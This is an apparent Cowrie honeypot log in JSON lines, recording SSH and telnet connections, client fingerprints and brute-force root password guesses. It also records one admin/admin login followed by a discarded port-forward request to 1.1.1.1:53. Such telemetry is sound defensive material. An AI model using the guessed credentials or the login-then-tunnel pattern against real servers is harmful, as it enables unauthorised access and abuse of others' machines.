{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:31.318369Z","src_ip":"37.143.61.241","session":"e02f19fc596a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39668,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8456b89b5f5","protocol":"telnet","message":"New connection: 152.42.224.71:39668 (10.17.0.5:23) [session: a8456b89b5f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:33.038150Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39670,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dc45d44dd48","protocol":"telnet","message":"New connection: 152.42.224.71:39670 (10.17.0.5:23) [session: 3dc45d44dd48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:33.260092Z"}
{"eventid":"cowrie.session.closed","duration":120.00254321098328,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:56.700591Z","src_ip":"152.42.224.71","session":"75cb119f0f48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46754,"dst_ip":"10.17.0.5","dst_port":23,"session":"aafc304b8dab","protocol":"telnet","message":"New connection: 152.42.224.71:46754 (10.17.0.5:23) [session: aafc304b8dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:01.473239Z"}
{"eventid":"cowrie.session.closed","duration":46.57854151725769,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:02.592771Z","src_ip":"152.42.224.71","session":"c5ed6f2b9f9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46760,"dst_ip":"10.17.0.5","dst_port":23,"session":"8331671cd48a","protocol":"telnet","message":"New connection: 152.42.224.71:46760 (10.17.0.5:23) [session: 8331671cd48a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:04.096099Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.52.132.30","src_port":41574,"dst_ip":"159.203.135.109","dst_port":22,"session":"3292514b6ad8","protocol":"ssh","message":"New connection: 72.52.132.30:41574 (159.203.135.109:22) [session: 3292514b6ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:06.464644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:06.481132Z","src_ip":"72.52.132.30","session":"3292514b6ad8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:06.512285Z","src_ip":"72.52.132.30","session":"3292514b6ad8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raza","message":"login attempt [root/raza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:06.782347Z","src_ip":"72.52.132.30","session":"3292514b6ad8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.61597299575806,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:06.875936Z","src_ip":"152.42.224.71","session":"3dc45d44dd48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.17649865150452,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:07.214527Z","src_ip":"152.42.224.71","session":"a8456b89b5f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.71370267868042,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:07.266316Z","src_ip":"152.42.224.71","session":"49abb35c77da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:07.819965Z","src_ip":"72.52.132.30","session":"3292514b6ad8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54312,"dst_ip":"10.17.0.5","dst_port":23,"session":"becc69f7f442","protocol":"telnet","message":"New connection: 152.42.224.71:54312 (10.17.0.5:23) [session: becc69f7f442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:08.990242Z"}
{"eventid":"cowrie.session.closed","duration":58.728596448898315,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:11.927600Z","src_ip":"152.42.224.71","session":"06ffc8ce3ce1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40012,"dst_ip":"10.17.0.5","dst_port":23,"session":"443de17f7820","protocol":"telnet","message":"New connection: 152.42.224.71:40012 (10.17.0.5:23) [session: 443de17f7820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:22.167455Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.35.229","src_port":47180,"dst_ip":"159.203.135.109","dst_port":22,"session":"c558d58ffd8e","protocol":"ssh","message":"New connection: 43.130.35.229:47180 (159.203.135.109:22) [session: c558d58ffd8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:25.820246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:25.826216Z","src_ip":"43.130.35.229","session":"c558d58ffd8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:25.895261Z","src_ip":"43.130.35.229","session":"c558d58ffd8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mustafa123","message":"login attempt [root/mustafa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:26.200747Z","src_ip":"43.130.35.229","session":"c558d58ffd8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:27.272232Z","src_ip":"43.130.35.229","session":"c558d58ffd8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.34.13","src_port":47404,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e7119d3dc6f","protocol":"ssh","message":"New connection: 43.133.34.13:47404 (159.203.135.109:22) [session: 4e7119d3dc6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:29.351488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:29.356317Z","src_ip":"43.133.34.13","session":"4e7119d3dc6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:29.594342Z","src_ip":"43.133.34.13","session":"4e7119d3dc6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"young","message":"login attempt [root/young] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:30.579037Z","src_ip":"43.133.34.13","session":"4e7119d3dc6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:31.820301Z","src_ip":"43.133.34.13","session":"4e7119d3dc6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":53796,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad8caef47913","protocol":"ssh","message":"New connection: 45.78.230.231:53796 (10.17.0.5:22) [session: ad8caef47913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:31.914195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:31.919076Z","src_ip":"45.78.230.231","session":"ad8caef47913","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:32.149088Z","src_ip":"45.78.230.231","session":"ad8caef47913","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testuser11","message":"login attempt [root/testuser11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:33.665528Z","src_ip":"45.78.230.231","session":"ad8caef47913","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.9580500125885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:35.054057Z","src_ip":"152.42.224.71","session":"8331671cd48a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:39.198039Z","src_ip":"45.78.230.231","session":"ad8caef47913","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.241","src_port":36370,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0198bb8cf5a","protocol":"ssh","message":"New connection: 37.143.61.241:36370 (159.203.135.109:22) [session: a0198bb8cf5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:40.228366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:40.233146Z","src_ip":"37.143.61.241","session":"a0198bb8cf5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:40.315578Z","src_ip":"37.143.61.241","session":"a0198bb8cf5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"charlie123","message":"login attempt [root/charlie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:40.674891Z","src_ip":"37.143.61.241","session":"a0198bb8cf5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:41.761583Z","src_ip":"37.143.61.241","session":"a0198bb8cf5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55812,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9f9dc53a33b","protocol":"telnet","message":"New connection: 152.42.224.71:55812 (10.17.0.5:23) [session: a9f9dc53a33b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:42.257269Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36988,"dst_ip":"10.17.0.5","dst_port":23,"session":"c67f024df662","protocol":"telnet","message":"New connection: 152.42.224.71:36988 (10.17.0.5:23) [session: c67f024df662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:47.089641Z"}
{"eventid":"cowrie.session.closed","duration":39.24576163291931,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:48.235887Z","src_ip":"152.42.224.71","session":"becc69f7f442","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":37456,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2d78b2b7d09","protocol":"ssh","message":"New connection: 87.251.64.176:37456 (10.17.0.5:22) [session: b2d78b2b7d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:48.973672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:48.978963Z","src_ip":"87.251.64.176","session":"b2d78b2b7d09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:49.076080Z","src_ip":"87.251.64.176","session":"b2d78b2b7d09","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:49.368400Z","src_ip":"87.251.64.176","session":"b2d78b2b7d09","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:49.467056Z","session":"b2d78b2b7d09","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:49.567908Z","src_ip":"87.251.64.176","session":"b2d78b2b7d09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:49.802170Z","src_ip":"87.251.64.176","session":"b2d78b2b7d09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00551533699036,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:54.067043Z","src_ip":"152.42.224.71","session":"03332e669804","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":52048,"dst_ip":"159.203.135.109","dst_port":22,"session":"c11f17a93516","protocol":"ssh","message":"New connection: 176.32.39.21:52048 (159.203.135.109:22) [session: c11f17a93516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:55.921840Z"}
{"eventid":"cowrie.session.closed","duration":33.838762044906616,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:38:56.006121Z","src_ip":"152.42.224.71","session":"443de17f7820","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.539719343185425,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:00.012861Z","src_ip":"152.42.224.71","session":"aafc304b8dab","protocol":"telnet"}
